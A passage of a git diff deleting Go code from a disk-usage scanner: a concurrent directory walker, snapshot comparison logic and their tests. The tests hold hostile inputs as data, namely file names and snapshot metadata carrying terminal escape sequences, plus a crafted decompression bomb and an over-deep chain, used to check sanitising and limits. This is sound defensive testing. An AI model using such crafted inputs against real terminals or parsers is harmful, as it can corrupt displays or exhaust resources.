the process); the TUI replaces it so it can restore the terminal -// before reporting. Programmer bugs are never silently swallowed. -var OnPanic = func(v any, stack []byte) { panic(v) } - -func guard() { - if v := recover(); v != nil { - OnPanic(v, debug.Stack()) - } -} diff --git a/internal/scan/scan.go b/internal/scan/scan.go deleted file mode 100644 index 876ec02..0000000 --- a/internal/scan/scan.go +++ /dev/null @@ -1,542 +0,0 @@ -// Package scan implements the bounded concurrent filesystem scanner. -// -// Architecture (see ARCHITECTURE.md): a single controller goroutine owns the -// inventory.Tree and a FIFO of pending directories. A fixed pool of workers -// performs directory I/O and sends result chunks back. The controller's -// select loop offers jobs and accepts results at the same time, so bounded -// channels can never deadlock: workers never enqueue work themselves. -package scan - -import ( - "context" - "errors" - "fmt" - "log/slog" - "os" - "path/filepath" - "runtime" - "strings" - "sync" - "sync/atomic" - "time" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" -) - -// FollowMode controls symlink traversal. -type FollowMode int - -const ( - FollowNone FollowMode = iota - FollowSameFS - FollowAll -) - -func (f FollowMode) String() string { - return [...]string{"none", "same-filesystem", "all"}[f] -} - -// ParseFollow parses a --follow-symlinks value. -func ParseFollow(s string) (FollowMode, error) { - switch s { - case "none", "": - return FollowNone, nil - case "same-filesystem", "same-fs": - return FollowSameFS, nil - case "all": - return FollowAll, nil - } - return 0, fmt.Errorf("invalid --follow-symlinks %q (want none, same-filesystem or all)", s) -} - -// Workers resolves a concurrency mode name or number to a worker count. -func Workers(mode string) (int, error) { - cpu := runtime.NumCPU() - switch mode { - case "conservative": - return 2, nil - case "balanced", "": - return min(8, max(2, 2*cpu)), nil - case "aggressive": - return min(64, max(4, 8*cpu)), nil - } - var n int - if _, err := fmt.Sscan(mode, &n); err != nil || n < 1 || n > 1024 { - return 0, fmt.Errorf("invalid workers %q (conservative, balanced, aggressive or 1-1024)", mode) - } - return n, nil -} - -// Options configures a scan. -type Options struct { - Workers int - Follow FollowMode - OneFileSystem bool - Excludes []string - - // Tuning knobs, mostly for tests. Zero means default. - ChunkSize int // entries per result chunk - JobBuffer int // capacity of the job channel - ResultBuf int // capacity of the result channel - ApplyBatch int // max results applied per write-lock hold -} - -func (o *Options) defaults() { - if o.Workers <= 0 { - o.Workers, _ = Workers("balanced") - } - if o.ChunkSize <= 0 { - o.ChunkSize = 1024 - } - if o.JobBuffer <= 0 { - o.JobBuffer = o.Workers * 2 - } - if o.ResultBuf <= 0 { - o.ResultBuf = o.Workers * 4 - } - if o.ApplyBatch <= 0 { - o.ApplyBatch = 64 - } -} - -// Progress is a cheap, lock-free view of scan activity. -type Progress struct { - Entries int64 - Pending int64 // directories discovered but not yet dispatched - Inflight int64 // directories being read - Workers int -} - -// Scanner runs one scan. Tree is safe to read under Tree.RLock while the -// scan runs. -type Scanner struct { - Tree *inventory.Tree - opts Options - - entries, pending, inflight atomic.Int64 - done chan struct{} -} - -type job struct { - id inventory.NodeID - path string - dev uint64 - // hints derived once per directory - inCache, inLog bool -} - -type result struct { - job *job - entries []platform.Meta - final bool - err error -} - -type inodeKey struct{ dev, ino uint64 } - -// Start stats root, creates the tree and begins scanning in the background. -func Start(ctx context.Context, root string, opts Options) (*Scanner, error) { - opts.defaults() - // Path-style exclusions are matched against absolute paths. - excl := make([]string, len(opts.Excludes)) - for i, p := range opts.Excludes { - excl[i] = p - if strings.ContainsAny(p, `/\`) { - if a, err := filepath.Abs(p); err == nil { - excl[i] = a - } - } - } - opts.Excludes = excl - abs, err := filepath.Abs(root) - if err != nil { - return nil, err - } - m, err := platform.Stat(abs) - if err != nil { - return nil, err - } - kind := kindOf(m) - t := inventory.New(abs, kind) - t.Stats.Workers = opts.Workers - t.Stats.Excludes = opts.Excludes - t.Stats.OneFileSystem = opts.OneFileSystem - t.Stats.Follow = opts.Follow.String() - r := t.Node(t.Root()) - setMeta(r, m) - r.TotSize, r.TotAlloc = m.Size, m.Alloc - s := &Scanner{Tree: t, opts: opts, done: make(chan struct{})} - if kind != inventory.KindDir { - t.Stats.Files = 1 - t.Stats.Complete = true - t.Stats.End = time.Now() - close(s.done) - return s, nil - } - t.Stats.Dirs = 1 - c := &controller{s: s, t: t, opts: opts, links: map[inodeKey]struct{}{}} - // Loop detection needs inode identity; without it (Windows and other - // portable-fallback platforms) symlinks are not followed at all. - if opts.Follow != FollowNone && !m.HasIno { - c.opts.Follow = FollowNone - t.Stats.Follow = "none (no inode identity on this platform)" - } - if c.opts.Follow != FollowNone { - c.visited = map[inodeKey]struct{}{{m.Dev, m.Ino}: {}} - } - c.rootDev = m.Dev - c.pending = []pendingDir{{id: t.Root(), dev: m.Dev}} - s.pending.Store(1) - go c.run(ctx) - return s, nil -} - -// Done is closed when the scan has finished or been cancelled and drained. -func (s *Scanner) Done() <-chan struct{} { return s.done } - -// Progress returns live counters without locking the tree. -func (s *Scanner) Progress() Progress { - return Progress{Entries: s.entries.Load(), Pending: s.pending.Load(), Inflight: s.inflight.Load(), Workers: s.opts.Workers} -} - -// maxEntriesPerLock bounds how long the controller holds the write lock, so -// the UI's read lock is never starved for more than a few milliseconds. -const maxEntriesPerLock = 8192 - -type pendingDir struct { - id inventory.NodeID - dev uint64 -} - -type controller struct { - s *Scanner - t *inventory.Tree - opts Options - rootDev uint64 - pending []pendingDir // FIFO; head index advances, compacted occasionally - head int - links map[inodeKey]struct{} - visited map[inodeKey]struct{} // only when following symlinks -} - -func (c *controller) run(ctx context.Context) { - defer guard() - defer close(c.s.done) - jobs := make(chan *job, c.opts.JobBuffer) - results := make(chan result, c.opts.ResultBuf) - var wg sync.WaitGroup - for range c.opts.Workers { - wg.Add(1) - go func() { - defer wg.Done() - defer guard() - worker(ctx, jobs, results, c.opts.ChunkSize) - }() - } - - inflight := 0 - ctxDone := ctx.Done() - cancelled := false - var next *job - batch := make([]result, 0, c.opts.ApplyBatch) - for { - if next == nil && !cancelled && c.head < len(c.pending) { - next = c.makeJob(c.pending[c.head]) - } - if inflight == 0 && next == nil { - break - } - var jobCh chan<- *job - if next != nil { - jobCh = jobs - } - select { - case jobCh <- next: - next = nil - c.head++ - if c.head > 4096 && c.head*2 > len(c.pending) { - c.pending = append(c.pending[:0], c.pending[c.head:]...) - c.head = 0 - } - inflight++ - c.s.inflight.Store(int64(inflight)) - c.s.pending.Store(int64(len(c.pending) - c.head)) - case r := <-results: - batch = append(batch[:0], r) - n := len(r.entries) - drain: - for len(batch) < cap(batch) && n < maxEntriesPerLock { - select { - case r := <-results: - batch = append(batch, r) - n += len(r.entries) - default: - break drain - } - } - c.t.Lock() - for i := range batch { - if c.apply(&batch[i]) { - inflight-- - } - batch[i] = result{} - } - c.t.Unlock() - c.s.inflight.Store(int64(inflight)) - c.s.pending.Store(int64(len(c.pending) - c.head)) - case <-ctxDone: - cancelled = true - ctxDone = nil - next = nil - } - } - close(jobs) - wg.Wait() - - c.t.Lock() - st := &c.t.Stats - if cancelled { - st.Cancelled = true - st.Unscanned += int64(len(c.pending) - c.head) - for _, p := range c.pending[c.head:] { - c.t.Node(p.id).Flags |= inventory.FlagIncomplete - } - } - st.Complete = true - st.End = time.Now() - c.t.Unlock() - c.s.pending.Store(0) - c.s.inflight.Store(0) -} - -func (c *controller) makeJob(p pendingDir) *job { - path := c.t.Path(p.id) - j := &job{id: p.id, path: path, dev: p.dev} - j.inCache, j.inLog = inventory.PathHints(path) - return j -} - -func worker(ctx context.Context, jobs <-chan *job, results chan<- result, chunk int) { - for j := range jobs { - var err error - if err = ctx.Err(); err == nil { - err = platform.ReadDir(j.path, chunk, func(ms []platform.Meta) error { - if err := ctx.Err(); err != nil { - return err - } - results <- result{job: j, entries: ms} - return nil - }) - } - results <- result{job: j, final: true, err: err} - } -} - -func kindOf(m platform.Meta) inventory.Kind { - switch { - case m.Mode.IsDir(): - return inventory.KindDir - case m.Mode.IsRegular(): - return inventory.KindFile - case m.Mode&os.ModeSymlink != 0: - return inventory.KindSymlink - } - return inventory.KindOther -} - -func setMeta(n *inventory.Node, m platform.Meta) { - n.Size, n.Alloc = m.Size, m.Alloc - n.MTime = m.MTime - n.Mode = uint32(m.Mode) - n.UID, n.GID = m.UID, m.GID - n.Nlink = m.Nlink - if !m.AllocKnown { - n.Flags |= inventory.FlagAllocUnknown - } -} - -// apply merges one result into the tree. It reports whether the result -// completed its directory. Called with the tree write-locked. -func (c *controller) apply(r *result) bool { - t := c.t - j := r.job - dir := j.id - var d inventory.Delta - c.s.entries.Add(int64(len(r.entries))) - for _, m := range r.entries { - c.addEntry(j, m, &d) - } - if r.final { - dn := t.Node(dir) - switch { - case r.err == nil: - dn.Flags |= inventory.FlagScanned - case errors.Is(r.err, context.Canceled) || errors.Is(r.err, context.DeadlineExceeded): - dn.Flags |= inventory.FlagIncomplete - t.Stats.Unscanned++ - default: - slog.Debug("read directory failed", "path", j.path, "err", r.err) - dn.Flags |= inventory.FlagError | inventory.FlagIncomplete - t.Stats.AddError(inventory.ErrorRecord{Node: dir, Kind: inventory.Classify(r.err), Msg: errMsg(r.err)}) - d.Errors++ - } - } - if d != (inventory.Delta{}) { - t.Propagate(dir, d) - } - return r.final -} - -func errMsg(err error) string { - var pe *os.PathError - if errors.As(err, &pe) { - return pe.Op + ": " + pe.Err.Error() - } - return err.Error() -} - -func (c *controller) excluded(path, name string) bool { - for _, p := range c.opts.Excludes { - if strings.ContainsAny(p, `/\`) { - pp := filepath.Clean(p) - if path == pp || strings.HasPrefix(path, pp+string(os.PathSeparator)) { - return true - } - if ok, _ := filepath.Match(pp, path); ok { - return true - } - } else if ok, _ := filepath.Match(p, name); ok { - return true - } - } - return false -} - -func (c *controller) addEntry(j *job, m platform.Meta, d *inventory.Delta) { - t := c.t - st := &t.Stats - if m.Err != nil { - k := inventory.Classify(m.Err) - if k == inventory.ErrVanished { - st.AddError(inventory.ErrorRecord{Node: j.id, Name: m.Name, Kind: k, Msg: "vanished between listing and stat"}) - d.Errors++ - return - } - id := t.Add(j.id, m.Name, inventory.KindOther) - n := t.Node(id) - n.Flags |= inventory.FlagError - n.Errors = 1 - st.AddError(inventory.ErrorRecord{Node: id, Kind: k, Msg: errMsg(m.Err)}) - d.Errors++ - d.Files++ - st.Others++ - return - } - var path string - if len(c.opts.Excludes) > 0 { - path = platform.JoinPath(j.path, m.Name) - if c.excluded(path, m.Name) { - st.Excluded++ - return - } - } - kind := kindOf(m) - var target platform.Meta - followed, broken := false, false - if kind == inventory.KindSymlink { - if path == "" { - path = platform.JoinPath(j.path, m.Name) - } - tm, err := platform.Stat(path) - switch { - case err != nil: - st.BrokenLinks++ - broken = true - case tm.Mode.IsDir() && tm.HasIno && (c.opts.Follow == FollowAll || c.opts.Follow == FollowSameFS && tm.Dev == j.dev): - target, followed = tm, true - kind = inventory.KindDir - } - } - - id := t.Add(j.id, m.Name, kind) - n := t.Node(id) - setMeta(n, m) - if broken { - n.Flags |= inventory.FlagBrokenLink - } - - switch kind { - case inventory.KindDir: - st.Dirs++ - d.Dirs++ - d.Size += n.Size - d.Alloc += n.Alloc - n.TotSize, n.TotAlloc = n.Size, n.Alloc - dev := m.Dev - if followed { - n.Flags |= inventory.FlagFollowed - dev = target.Dev - } - if c.visited != nil { - key := inodeKey{m.Dev, m.Ino} - if followed { - key = inodeKey{target.Dev, target.Ino} - } - if _, seen := c.visited[key]; seen { - n.Flags |= inventory.FlagLoop - st.LoopsSkipped++ - return - } - c.visited[key] = struct{}{} - } - if m.HasIno && dev != j.dev { - n.Flags |= inventory.FlagMountPoint - if c.opts.OneFileSystem { - n.Flags |= inventory.FlagSkippedFS - st.SkippedMounts++ - return - } - if path == "" { - path = platform.JoinPath(j.path, m.Name) - } - if platform.IsVirtualFS(path) { - n.Flags |= inventory.FlagVirtualFS - st.VirtualSkipped++ - return - } - } - c.pending = append(c.pending, pendingDir{id: id, dev: dev}) - case inventory.KindFile: - st.Files++ - d.Files++ - if m.Nlink > 1 && m.HasIno { - n.Flags |= inventory.FlagHardlinked - key := inodeKey{m.Dev, m.Ino} - if _, seen := c.links[key]; seen { - n.Flags |= inventory.FlagHardlinkDup - st.HardlinkDups++ - return - } - c.links[key] = struct{}{} - } - if m.AllocKnown && m.Alloc < m.Size && m.Size-m.Alloc >= 4096 { - n.Flags |= inventory.FlagSparse - } - n.Cat = inventory.CategoryFor(t.ExtName(n), j.inCache, j.inLog) - n.TotSize, n.TotAlloc = n.Size, n.Alloc - d.Size += n.Size - d.Alloc += n.Alloc - d.Cat[n.Cat] += n.Alloc - default: - if kind == inventory.KindSymlink { - st.Symlinks++ - } else { - st.Others++ - } - d.Files++ - n.TotSize, n.TotAlloc = n.Size, n.Alloc - d.Size += n.Size - d.Alloc += n.Alloc - } -} diff --git a/internal/scan/scan_test.go b/internal/scan/scan_test.go deleted file mode 100644 index a5f0440..0000000 --- a/internal/scan/scan_test.go +++ /dev/null @@ -1,288 +0,0 @@ -package scan - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/inventory" -) - -// mkTree creates dirs×files under root: root/d0/d1/... fan-out tree. -func mkTree(t testing.TB, root string, fanout, depth, files int) (nfiles, ndirs int64, bytes int64) { - var rec func(dir string, d int) - rec = func(dir string, d int) { - for i := range files { - sz := (i + 1) * 100 - if err := os.WriteFile(filepath.Join(dir, fmt.Sprintf("f%d.txt", i)), make([]byte, sz), 0o644); err != nil { - t.Fatal(err) - } - nfiles++ - bytes += int64(sz) - } - if d == depth { - return - } - for i := range fanout { - sub := filepath.Join(dir, fmt.Sprintf("d%d", i)) - if err := os.Mkdir(sub, 0o755); err != nil { - t.Fatal(err) - } - ndirs++ - rec(sub, d+1) - } - } - rec(root, 0) - return -} - -func runScan(t testing.TB, root string, o Options) *inventory.Tree { - s, err := Start(context.Background(), root, o) - if err != nil { - t.Fatal(err) - } - select { - case <-s.Done(): - case <-time.After(60 * time.Second): - t.Fatal("scan did not finish (deadlock?)") - } - return s.Tree -} - -func TestScanCountsAndAggregates(t *testing.T) { - root := t.TempDir() - nf, nd, bytes := mkTree(t, root, 3, 3, 4) - tr := runScan(t, root, Options{Workers: 4}) - r := tr.Node(tr.Root()) - if int64(r.Files) != nf || int64(r.Dirs) != nd { - t.Fatalf("files=%d dirs=%d, want %d %d", r.Files, r.Dirs, nf, nd) - } - // Logical total = file bytes + directory entries' own sizes. - var dirBytes int64 - for i := 0; i < tr.Len(); i++ { - if n := tr.Node(inventory.NodeID(i)); n.IsDir() { - dirBytes += n.Size - } - } - if r.TotSize != bytes+dirBytes { - t.Fatalf("TotSize=%d want %d", r.TotSize, bytes+dirBytes) - } - if !tr.Stats.Complete || tr.Stats.Incomplete() { - t.Fatalf("stats: %+v", tr.Stats) - } - // Every directory's aggregate equals the sum of its children. - checkAggregates(t, tr) - // Incremental aggregation must match a full recompute. - before := snapshotTotals(tr) - tr.Recompute() - if after := snapshotTotals(tr); fmt.Sprint(before) != fmt.Sprint(after) { - t.Fatal("incremental aggregates differ from recompute") - } -} - -func snapshotTotals(tr *inventory.Tree) [][4]int64 { - out := make([][4]int64, tr.Len()) - for i := range out { - n := tr.Node(inventory.NodeID(i)) - out[i] = [4]int64{n.TotSize, n.TotAlloc, int64(n.Files), int64(n.Dirs)} - } - return out -} - -func checkAggregates(t *testing.T, tr *inventory.Tree) { - t.Helper() - for i := 0; i < tr.Len(); i++ { - id := inventory.NodeID(i) - n := tr.Node(id) - if !n.IsDir() { - continue - } - sum := n.Size - tr.Children(id, func(_ inventory.NodeID, c *inventory.Node) { sum += c.TotSize }) - if sum != n.TotSize { - t.Fatalf("%s: TotSize %d != own+children %d", tr.Path(id), n.TotSize, sum) - } - } -} - -// TestBackpressureNoDeadlock forces maximum contention: one worker, channel -// capacities of one, tiny chunks, and thousands of directories. -func TestBackpressureNoDeadlock(t *testing.T) { - root := t.TempDir() - nf, nd, _ := mkTree(t, root, 6, 4, 3) // 1554 dirs - for _, w := range []int{1, 2, 16} { - tr := runScan(t, root, Options{Workers: w, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1, ApplyBatch: 1}) - r := tr.Node(tr.Root()) - if int64(r.Files) != nf || int64(r.Dirs) != nd { - t.Fatalf("workers=%d: files=%d dirs=%d want %d %d", w, r.Files, r.Dirs, nf, nd) - } - } -} - -func TestCancel(t *testing.T) { - root := t.TempDir() - mkTree(t, root, 8, 3, 2) - ctx, cancel := context.WithCancel(context.Background()) - s, err := Start(ctx, root, Options{Workers: 2, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1}) - if err != nil { - t.Fatal(err) - } - cancel() - select { - case <-s.Done(): - case <-time.After(10 * time.Second): - t.Fatal("cancel did not stop scan") - } - tr := s.Tree - tr.RLock() - defer tr.RUnlock() - if !tr.Stats.Cancelled || !tr.Stats.Incomplete() { - t.Fatalf("expected cancelled+incomplete: %+v", tr.Stats) - } - // Workers must have exited: give the runtime a moment and check goroutines. - time.Sleep(50 * time.Millisecond) - if n := runtime.NumGoroutine(); n > 10 { - t.Logf("goroutines after cancel: %d", n) - } -} - -func TestSymlinkLoops(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("symlinks need privileges on Windows") - } - root := t.TempDir() - a := filepath.Join(root, "a") - os.MkdirAll(filepath.Join(a, "b"), 0o755) - os.WriteFile(filepath.Join(a, "b", "x"), make([]byte, 5000), 0o644) - os.Symlink("..", filepath.Join(a, "b", "up")) // loop - os.Symlink("../a", filepath.Join(a, "self")) // loop - os.Symlink("nowhere", filepath.Join(root, "broken")) - for _, f := range []FollowMode{FollowNone, FollowSameFS, FollowAll} { - tr := runScan(t, root, Options{Workers: 4, Follow: f}) - r := tr.Node(tr.Root()) - if r.Files == 0 || r.TotSize <= 5000 { - t.Fatalf("follow=%v: bad totals %+v", f, r) - } - if tr.Stats.BrokenLinks != 1 { - t.Fatalf("follow=%v: broken links %d", f, tr.Stats.BrokenLinks) - } - if f != FollowNone && tr.Stats.LoopsSkipped == 0 { - t.Fatalf("follow=%v: expected loops to be detected", f) - } - // The 5000-byte file must be counted exactly once. - var count int - for i := 0; i < tr.Len(); i++ { - if n := tr.Node(inventory.NodeID(i)); n.Name == "x" { - count++ - } - } - if count != 1 { - t.Fatalf("follow=%v: file x seen %d times", f, count) - } - } -} - -func TestHardlinksCountedOnce(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("hard-link identity not available on Windows") - } - root := t.TempDir() - p := filepath.Join(root, "orig") - os.WriteFile(p, make([]byte, 100000), 0o644) - os.Mkdir(filepath.Join(root, "d"), 0o755) - if err := os.Link(p, filepath.Join(root, "d", "link")); err != nil { - t.Skip(err) - } - tr := runScan(t, root, Options{Workers: 2}) - r := tr.Node(tr.Root()) - if tr.Stats.HardlinkDups != 1 { - t.Fatalf("dups=%d", tr.Stats.HardlinkDups) - } - if r.TotSize >= 200000 { - t.Fatalf("hard link double counted: %d", r.TotSize) - } -} - -func TestPermissionErrorsSurface(t *testing.T) { - if runtime.GOOS == "windows" || os.Geteuid() == 0 { - t.Skip("needs non-root unix") - } - root := t.TempDir() - locked := filepath.Join(root, "locked") - os.Mkdir(locked, 0o755) - os.WriteFile(filepath.Join(locked, "f"), []byte("x"), 0o644) - os.Chmod(locked, 0) - defer os.Chmod(locked, 0o755) - tr := runScan(t, root, Options{Workers: 2}) - if tr.Stats.ErrCounts[inventory.ErrPermission] != 1 || !tr.Stats.Incomplete() { - t.Fatalf("expected one permission error: %+v", tr.Stats.ErrCounts) - } - if tr.Node(tr.Root()).Errors != 1 { - t.Fatal("error not aggregated to root") - } -} - -func TestExcludes(t *testing.T) { - root := t.TempDir() - os.MkdirAll(filepath.Join(root, "keep"), 0o755) - os.MkdirAll(filepath.Join(root, "skip"), 0o755) - os.WriteFile(filepath.Join(root, "keep", "a.tmp"), []byte("x"), 0o644) - os.WriteFile(filepath.Join(root, "keep", "b.txt"), []byte("x"), 0o644) - os.WriteFile(filepath.Join(root, "skip", "c.txt"), []byte("x"), 0o644) - tr := runScan(t, root, Options{Workers: 2, Excludes: []string{"*.tmp", filepath.Join(root, "skip")}}) - if tr.Stats.Excluded != 2 || tr.Node(0).Files != 1 { - t.Fatalf("excluded=%d files=%d", tr.Stats.Excluded, tr.Node(0).Files) - } - // Relative path patterns resolve against the working directory. - t.Chdir(root) - tr = runScan(t, root, Options{Workers: 2, Excludes: []string{"./skip"}}) - if tr.Stats.Excluded != 1 { - t.Fatalf("relative exclude: excluded=%d", tr.Stats.Excluded) - } -} - -func TestUnicodeAndHostileNames(t *testing.T) { - root := t.TempDir() - names := []string{"日本語.txt", "emoji-🎉.png", "esc\x1b[31mred", "nl\nname", "sp ace"} - if runtime.GOOS == "windows" { - names = names[:2] - } - for _, n := range names { - if err := os.WriteFile(filepath.Join(root, n), []byte("x"), 0o644); err != nil { - t.Fatal(err) - } - } - tr := runScan(t, root, Options{Workers: 2}) - got := map[string]bool{} - tr.Children(0, func(_ inventory.NodeID, n *inventory.Node) { got[n.Name] = true }) - for _, n := range names { - if !got[n] { - t.Errorf("missing %q (raw names must be preserved)", n) - } - } -} - -func TestSingleFileRoot(t *testing.T) { - p := filepath.Join(t.TempDir(), "file") - os.WriteFile(p, make([]byte, 1234), 0o644) - tr := runScan(t, p, Options{}) - if tr.Node(0).TotSize != 1234 || tr.Node(0).Kind != inventory.KindFile { - t.Fatalf("%+v", tr.Node(0)) - } -} - -func BenchmarkScan(b *testing.B) { - root := b.TempDir() - mkTree(b, root, 5, 4, 20) - for _, w := range []int{1, 4, 16} { - b.Run(fmt.Sprintf("workers=%d", w), func(b *testing.B) { - for b.Loop() { - runScan(b, root, Options{Workers: w}) - } - }) - } -} diff --git a/internal/snapshot/compare.go b/internal/snapshot/compare.go deleted file mode 100644 index c797ff4..0000000 --- a/internal/snapshot/compare.go +++ /dev/null @@ -1,177 +0,0 @@ -package snapshot - -import ( - "sort" - - "github.com/andydixon/mapsize/internal/inventory" -) - -// Diff relates two inventories by path. Both trees must not be mutated -// while a Diff is in use (snapshots and finished scans satisfy this). -type Diff struct { - Old, New *inventory.Tree - // OldOf maps a New NodeID to the matching Old NodeID, or NoNode if the - // entry is new. - OldOf []inventory.NodeID - // Removed lists the topmost Old nodes with no counterpart in New. - Removed []inventory.NodeID - // RemovedUnder sums, per New directory, the sizes of removed children - // (in both size modes) so growth colouring can account for them. - removedUnder map[inventory.NodeID][2]int64 -} - -// Compare matches nodes by name, directory by directory, from the roots. -func Compare(old, new *inventory.Tree) *Diff { - d := &Diff{Old: old, New: new, OldOf: make([]inventory.NodeID, new.Len()), - removedUnder: map[inventory.NodeID][2]int64{}} - for i := range d.OldOf { - d.OldOf[i] = inventory.NoNode - } - type pair struct{ o, n inventory.NodeID } - stack := []pair{{old.Root(), new.Root()}} - for len(stack) > 0 { - p := stack[len(stack)-1] - stack = stack[:len(stack)-1] - d.OldOf[p.n] = p.o - on, nn := old.Node(p.o), new.Node(p.n) - if !on.IsDir() || !nn.IsDir() { - continue - } - byName := map[string]inventory.NodeID{} - old.Children(p.o, func(id inventory.NodeID, n *inventory.Node) { byName[n.Name] = id }) - new.Children(p.n, func(id inventory.NodeID, n *inventory.Node) { - if oid, ok := byName[n.Name]; ok { - delete(byName, n.Name) - stack = append(stack, pair{oid, id}) - } - }) - for _, oid := range byName { - d.Removed = append(d.Removed, oid) - o := old.Node(oid) - r := d.removedUnder[p.n] - r[0] += o.TotAlloc - r[1] += o.TotSize - d.removedUnder[p.n] = r - } - } - sort.Slice(d.Removed, func(i, j int) bool { return d.Removed[i] < d.Removed[j] }) - return d -} - -// OldSize returns the matching old size of a New node and whether it existed. -func (d *Diff) OldSize(id inventory.NodeID, m inventory.SizeMode) (int64, bool) { - o := d.OldOf[id] - if o == inventory.NoNode { - return 0, false - } - return d.Old.Node(o).Total(m), true -} - -// Delta returns new minus old size for a New node (full size if new). -func (d *Diff) Delta(id inventory.NodeID, m inventory.SizeMode) int64 { - old, _ := d.OldSize(id, m) - return d.New.Node(id).Total(m) - old -} - -// Status classifies a node. -type Status uint8 - -const ( - Unchanged Status = iota - Added - Removed - Grew - Shrank -) - -func (s Status) String() string { - return [...]string{"unchanged", "new", "removed", "increased", "decreased"}[s] -} - -// StatusOf classifies a New node. -func (d *Diff) StatusOf(id inventory.NodeID, m inventory.SizeMode) Status { - if d.OldOf[id] == inventory.NoNode { - return Added - } - switch delta := d.Delta(id, m); { - case delta > 0: - return Grew - case delta < 0: - return Shrank - } - return Unchanged -} - -// Change is one row in a change report. -type Change struct { - Path string - Status Status - Delta int64 - Old int64 - New int64 - Node inventory.NodeID // in New (NoNode for removed) -} - -// Changes returns the k most significant changes. A directory is listed -// only if its change is not almost entirely explained by a single child, so -// the report points at /var/lib/postgresql rather than /, /var and /var/lib. -func (d *Diff) Changes(k int, m inventory.SizeMode) []Change { - var out []Change - for i := range d.New.Len() { - id := inventory.NodeID(i) - delta := d.Delta(id, m) - if delta == 0 { - continue - } - n := d.New.Node(id) - if d.OldOf[id] != inventory.NoNode && n.IsDir() && explainedByChild(d, id, delta, m) { - continue - } - if p := n.Parent; p != inventory.NoNode && d.OldOf[p] == inventory.NoNode { - continue // inside a wholly new directory; the directory is listed - } - old, _ := d.OldSize(id, m) - out = append(out, Change{Path: d.New.Path(id), Status: d.StatusOf(id, m), Delta: delta, Old: old, New: n.Total(m), Node: id}) - } - for _, oid := range d.Removed { - o := d.Old.Node(oid) - out = append(out, Change{Path: d.Old.Path(oid), Status: Removed, Delta: -o.Total(m), Old: o.Total(m), Node: inventory.NoNode}) - } - sort.Slice(out, func(i, j int) bool { - a, b := abs(out[i].Delta), abs(out[j].Delta) - if a != b { - return a > b - } - return out[i].Path < out[j].Path - }) - if k > 0 && len(out) > k { - out = out[:k] - } - return out -} - -func explainedByChild(d *Diff, id inventory.NodeID, delta int64, m inventory.SizeMode) bool { - explained := false - d.New.Children(id, func(c inventory.NodeID, _ *inventory.Node) { - if cd := d.Delta(c, m); (cd > 0) == (delta > 0) && abs(cd)*10 >= abs(delta)*8 { - explained = true - } - }) - if r, ok := d.removedUnder[id]; ok && !explained { - v := r[0] - if m == inventory.SizeLogical { - v = r[1] - } - if delta < 0 && v*10 >= abs(delta)*8 { - explained = true - } - } - return explained -} - -func abs(v int64) int64 { - if v < 0 { - return -v - } - return v -} diff --git a/internal/snapshot/hostile_test.go b/internal/snapshot/hostile_test.go deleted file mode 100644 index c984b91..0000000 --- a/internal/snapshot/hostile_test.go +++ /dev/null @@ -1,160 +0,0 @@ -package snapshot - -import ( - "bytes" - "compress/gzip" - "crypto/sha256" - "encoding/binary" - "io" - "os" - "path/filepath" - "strings" - "testing" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/export" - "github.com/andydixon/mapsize/internal/inventory" -) - -// craft builds a well-formed (correctly checksummed) but hostile snapshot. -func craft(n int, meta string, rec func(i int, w *writer)) []byte { - var out bytes.Buffer - out.WriteString(brand.SnapshotMagic) - out.Write(binary.LittleEndian.AppendUint16(nil, Version)) - out.Write(binary.LittleEndian.AppendUint16(nil, flagGzipped)) - gz, _ := gzip.NewWriterLevel(&out, gzip.BestCompression) - h := sha256.New() - w := &writer{w: io.MultiWriter(gz, h)} - w.uvarint(uint64(len(meta))) - w.bytes([]byte(meta)) - w.uvarint(1) - w.str("") - w.uvarint(uint64(n)) - for i := range n { - rec(i, w) - } - w.uvarint(0) - gz.Close() - out.Write(h.Sum(nil)) - return out.Bytes() -} - -func node(w *writer, pd uint64, kind inventory.Kind, name string, size int64) { - w.uvarint(pd) - w.bytes([]byte{byte(kind), 0}) - w.uvarint(0) - w.str(name) - w.varint(size) - w.varint(size) - w.varint(0) - for range 5 { - w.uvarint(0) - } -} - -func chain(n int) []byte { - return craft(n, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, 1, inventory.KindDir, "a", 0) - } - }) -} - -func TestDeepChainRejected(t *testing.T) { - if _, err := Load(bytes.NewReader(chain(MaxDepth + 1))); err != nil { - t.Fatalf("depth at the limit must load: %v", err) - } - _, err := Load(bytes.NewReader(chain(MaxDepth + 2))) - if err == nil || !strings.Contains(err.Error(), "deeper") { - t.Fatalf("over-deep chain accepted: %v", err) - } -} - -func TestDecompressionBombLimited(t *testing.T) { - flat := craft(100_000, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, uint64(i), inventory.KindFile, "f", 0) - } - }) - _, err := LoadLimit(bytes.NewReader(flat), 64<<10) - if err == nil || !strings.Contains(err.Error(), "limit") { - t.Fatalf("bomb not limited: %v", err) - } - if got := bodyLimit(int64(len(flat))); got < 64<<20 { - t.Fatalf("bodyLimit floor: %d", got) - } -} - -func TestHugeSizesDoNotWrap(t *testing.T) { - data := craft(3, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, uint64(i), inventory.KindFile, "f", MaxSize) - } - }) - tr, err := Load(bytes.NewReader(data)) - if err != nil { - t.Fatal(err) - } - if tr.Node(0).TotSize < 0 { - t.Fatal("aggregate wrapped negative") - } - over := craft(2, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, 1, inventory.KindFile, "f", MaxSize+1) - } - }) - if _, err := Load(bytes.NewReader(over)); err == nil { - t.Fatal("size above MaxSize accepted") - } -} - -func TestHostileMetadataSanitisedInSummary(t *testing.T) { - data := craft(1, `{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}`, func(i int, w *writer) { - node(w, 0, inventory.KindDir, "", 0) - }) - tr, err := 